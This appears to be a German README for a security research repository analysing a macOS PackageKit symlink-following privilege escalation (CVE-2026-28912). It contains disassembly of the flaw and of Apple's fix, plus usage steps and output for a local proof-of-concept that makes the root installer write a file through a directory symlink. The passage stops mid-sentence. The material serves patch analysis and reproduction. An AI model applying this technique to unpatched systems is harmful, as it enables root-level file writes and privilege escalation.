
Reverse-Engineering-Notizen und ein funktionierender PoC für den Symlink-Following-Bug in macOS PackageKit (CVE-2026-28912), mit Disassembly-Diff des Fixes in 26.6.
Unabhängiges Reverse Engineering des macOS-PackageKit-Symlink-Following-Bugs (CVE-2026-28912) sowie ein funktionierender PoC, der demonstriert, wie der Installer eine vom Angreifer kontrollierte Datei als root über einen Verzeichnis-Symlink im Installationszielpfad schreibt.
Der Bug ist ein unsynchronisierter Pfad-Durchlauf in der Datei-Relink-Logik von PKCoreShove. Ein bösartiges .pkg kann einen Zielpfad in einem unprivilegierten Verzeichnis deklarieren, an einer der Pfadkomponenten einen Verzeichnis-Symlink platzieren, der auf einen privilegierten Ort zeigt, und den Installer — der als root läuft — dazu bringen, in das Symlink-Ziel zu schreiben. Apples 26.6-Fix fügt _PKSIPOpenPathSafely hinzu, das jede Pfadkomponente mit O_NOFOLLOW durchläuft und jeden Symlink ablehnt.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-28912 |
| Komponente | PackageKit (PKCoreShove, PKBundleComponent) |
| Betroffen | macOS Tahoe 26.5 und früher |
| Gepatcht in | macOS Tahoe 26.6 |
| Auswirkung laut Advisory | "Eine App kann möglicherweise Root-Rechte erlangen." |
| CVSS v3.1 | 7.8 (Hoch) |
| Gemeldet von | Ursprüngliche Finder gemäß Apples Advisory |
Apples Advisory für CVE-2026-28912 dokumentiert die Auswirkung und die gepatchte Version. Es dokumentiert nicht den technischen Mechanismus:
Zum Zeitpunkt des Verfassens wurde kein öffentliches technisches Writeup gefunden. Dieses Repository füllt diese Lücke mit einer unabhängigen Reverse-Engineering-Analyse von PackageKit zwischen 26.4 und 26.6 sowie einem funktionierenden PoC, der das Primitiv live demonstriert.
Dies ist kein Entdeckungsanspruch. Die CVE wurde von den ursprünglichen Findern gemeldet und von Apple gepatcht. Der Beitrag hier ist die technische Analyse und die Reproduktion.
PKCoreShove _relinkFile:dest: in macOS 26.4 durchläuft den Zielpfad Komponente für Komponente beim Erstellen einer Datei:
; macOS 26.4, PackageKit
1a9fb14f8 _relinkFile:dest:
...
bl _linkResolutionProhibitted ; returns 0 in the normal case
mov w8, 0x10 ; RENAME_NOFOLLOW_ANY
cmp w0, 0
csel w22, w8, wzr, ne ; w22 = 0x10 if prohibited, else 0
...
mov x2, x22
bl _renamex_np ; uses w22 as flags
_linkResolutionProhibitted gibt 0 (false) zurück, wenn der aufrufende Prozess keine SIP-Dateien ändern kann — der Normalfall bei einer benutzerinitiierten Installation. Dadurch wird RENAME_NOFOLLOW_ANY deaktiviert, sodass das Rename jedem Symlink im Zielpfad folgt.
Der 26.6-Fix fügt _PKSIPOpenPathSafely hinzu, aufgerufen aus PKBundleComponent initWithBundleAtPath:relativeToDestination::
; macOS 26.6, PackageKit
1aa6dfe18 bl _PKSIPOpenPathSafely ; walks each component with O_NOFOLLOW
_PKSIPOpenPathSafely:
Jede Komponente, die ein Symlink ist und außerhalb des beabsichtigten Pfads zeigt, wird mit EPERM oder ELOOP abgelehnt, und die Installation schlägt fehl.
Siehe docs/ANALYSIS.md für das vollständige Writeup und docs/ARTIFACTS.md für Adressen und Log-Beispiele.
link.sh — ein einzelfile, eigenständiger PoC:
Die demonstrierte Auswirkung ist das Symlink-Following-Primitiv — genau das Verhalten, das der 26.6-Fix schließt.
Der PoC läuft vollständig auf dem Ziel. Der Symlink und das Payload werden beide lokal erstellt. Dadurch bleibt der PoC eigenständig und reproduzierbar ohne Netzwerkkonfiguration.
chmod +x link.sh
./link.sh
Optionale Anpassung über Umgebungsvariablen:
sudo CONTENT="test content" ./link.sh
CONTENT legt den Inhalt fest, der durch den Symlink geschrieben wird. Standardmäßig ist es hello.
[*] System information:
ProductName: macOS
ProductVersion: 26.4
BuildVersion: 25E246
[*] Setup...
Symlink: /Users/nerd/cve-poc/target → /Users/nerd/cve-poc/real
[*] Build .pkg...
Payload: /Users/nerd/cve-poc/payload/Users/nerd/cve-poc/target/poc.txt
Package: /Users/nerd/cve-poc/poc.pkg
[*] Install (password prompt expected)...
installer: Package name is poc
installer: Installing at base path /
installer: The install was successful.
[✓] VULNERABILITY CONFIRMED
Landed at /Users/nerd/cve-poc/real/poc.txt
Owner: root:wheel
Content: hello
CVE-2026-28912 trigger SUCCESSFUL
Auf einem gepatchten System (26.6) schlägt derselbe PoC fehl:
[✗] Not triggered
No file was created in /Users/nerd/cve-poc/real/
Siehe docs/PATCH_DIFF.md für den Disassembly-Vergleich.
Zwei Details im PoC wurden während der Entwicklung entdeckt und sind hier dokumentiert, damit andere, die ähnliche Tooling bauen, nicht darüber stolpern: